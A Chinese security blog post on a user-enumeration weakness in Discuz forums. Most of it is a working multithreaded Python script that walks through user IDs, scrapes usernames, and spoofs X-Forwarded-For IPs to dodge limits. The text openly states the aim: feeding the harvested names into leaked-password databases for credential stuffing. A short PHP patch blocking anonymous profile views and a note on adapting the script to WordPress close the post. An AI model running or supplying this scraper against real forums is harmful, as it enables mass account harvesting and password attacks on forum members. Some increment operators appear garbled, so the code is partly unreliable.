看到网上某篇文章,突然想起自己还有几篇没有发到博客上,于是发一下。
0x01 从discuz能遍历用户资料的问题谈起
我们随便点进一个discuz论坛,在地址后面加?1,有的论坛就会显示uid=1的用户资料页(或是家园空间首页,取决于这个论坛有没有开通家园):
不过有些论坛(比如法客)没有这个的,可能是哪里修改了。
不过我们访问 home.php?mod=space&uid=3550&do=profile 还是能看到 uid = 3550的用户资料的:
而且,这个地址是没有登录限制的,也就是说未登录的用户也能看这个资料页面。而且好像后台是不能增加这个限制的,必须要改代码。
这对于一些私密性比较高的论坛就构成了很大的威胁,这个问题就类似于wordpress的用户名遍历问题一样,获得了你的用户名,就能爆破你的密码了。
于是,我们设想,从uid=1到uid=XXX,写个脚本遍历一下,就能够获得这个论坛所有注册用户的用户名。不管你是不是这个论坛的用户。
0x02 python脚本的编写
我之前写了一个单线程的,但速度实在不敢恭维,所以后来改成多线程。多线程速度确实快了许多,但涉及到线程同步的问题又让我困惑了好久,最后加了一些线程锁,还有生成随机IP的代码,速度减低了一些但代码能稳定地运行了。
代码语言:javascript复制#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
to get all user on discuz
get username from http://localhost/home.php?mod=space&uid=1&do=profile
'''
__author__ = 'Phtih0n'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 '
'(KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER'}
import threading, random
now = 1
time = 0
lock = threading.Lock()
class ScanThread(threading.Thread):
def __init__(self, url, end_times, fout):
threading.Thread.__init__(self)
if url[0:7] != "http://":
self.url = "http://%s" % url
else:
self.url = url
self.end_times = end_times
self.fout = fout
def run(self):
self.scan_username()
def makeIp(self):
return "%d.%d.%d.%d" % (random.randint(11, 190), random.randint(11, 190), random.randint(11, 190), random.randint(11, 190))
def scan_username(self):
import requests, re, sys
global now, time, lock, header
rex = re.compile(ur'''<title>(. )的个人资料. </title>''')
while lock.acquire() and time < self.end_times:
now_id = now
now = 1
header["X-FORWARDED-FOR"] = self.makeIp()
lock.release()
get = "%s/home.php?mod=space&uid=%d&do=profile" % (self.url, now_id)
try:
response = requests.get(get, headers = header)
except:
print u"在Id = %d 处中断" % now_id
continue
if response.status_code == 404:
print u"地址似乎不能破"
return
html = response.text
ret = rex.search(html)
if lock.acquire():
if ret:
name = ret.group(1).encode("utf-8")
self.fout.write("id: %d username: %sn" % (now_id, name))
time = 0
sys.stdout.write("%d%s" % (now_id, "b" * 5))
sys.stdout.flush()
else:
time = 1
lock.release()
lock.release()
if __name__ == "__main__":
import optparse
parser = optparse.OptionParser()
parser.add_option(
'-u','--scan-url',
dest = 'url',
help = u'等待扫号的论坛地址')
parser.add_option(
'-t','--end-times',
type = 'int',dest = 'end_times',default = 100,
help = u'发现有多少个账号不存在时停止扫描')
parser.add_option(
'-o','--output-file',
dest = 'file',
help = u'扫描结果输出文件')
options, args = parser.parse_args()
fout = open(options.file, "w")
ThreadList = []
for i in range(0, 20):
t = ScanThread(options.url, options.end_times, fout)
ThreadList.append(t)
for t in ThreadList:
t.start()
for t in ThreadList:
t.join()
大概过程是先创建20个线程并进入线程函数,线程函数里开始遍历uid。使用requests模块get到用户资料页的html,并正则匹配出用户名(从<title>里匹配),有uid不存在时就会有“用户不存在”的提示,这时候就将一个计数变量time自增1。当所有用户遍历完了以后,我们的脚本不知道,仍然在访问不存在的uid,但每访问一个time都会自增1,直到time超过预先定义的一个“end_times”值(默认100)。线程退出。
退出的时候一定要记得释放线程锁,否则就造成其后的线程得不到lock,导致程序一直阻塞。我之前就是因为这个原因困惑了好久。
程序的用法:
首先安装python的requests库。我习惯用这个库写网络程序……改不了了。这个库也很方便,推荐大家使用。
安装方法: pip install requests 或 easy_install requests windows下直接下载:http://www.python-requests.org/en/latest/user/install/#install 解压后进入目录 python setup.py install 安装
要遍历一个论坛账号,就是这样了:
discuz.py -u http://bbs.target.com -o target.txt -t 100
剩下的任务就是等待。
结果:
获得了这些用户名,就能批量在你的“社工库”里碰撞密码了。进行进一步的信息搜集。
对于那种私密性的论坛,一旦有一个账号泄露,私密性就彻底消失。
0x03 问题解决方案
这个问题说好也好解决,说难也难解决。
我这个解决方案只是对于未注册的用户,不能查看其他用户用户名,但对于注册的用户来说,查看其他人用户名就太简单了。
来到discuz根目录下的sourceincludespacespace_profile.php
代码语言:javascript复制if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
require_once libfile('function/spacecp');
space_merge($space, 'count');
space_merge($space, 'field_home');
space_merge($space, 'field_forum');
space_merge($space, 'profile');
space_merge($space, 'status');
getonlinemember(array($space['uid']));
###########################################
if($_G['uid'] > 0) {} //in_array($_G['groupid'], array(1))
else {
showmessage('对不起,您无权进行此操作');
}
###########################################
if($space['videophoto'] && ckvideophoto($space, 1)) {
$space['videophoto'] = getvideophoto($space['videophoto']);
} else {
$space['videophoto'] = '';
}
以后当未登录的用户再访问/?1或home.php?mod=space&uid=1&do=profile时就会提示“对不起,您无权进行此操作”
0x04 后话
wordpress也能这么遍历出所有用户名,这个总所周知了,把我的脚本改一改就能打wordpress了。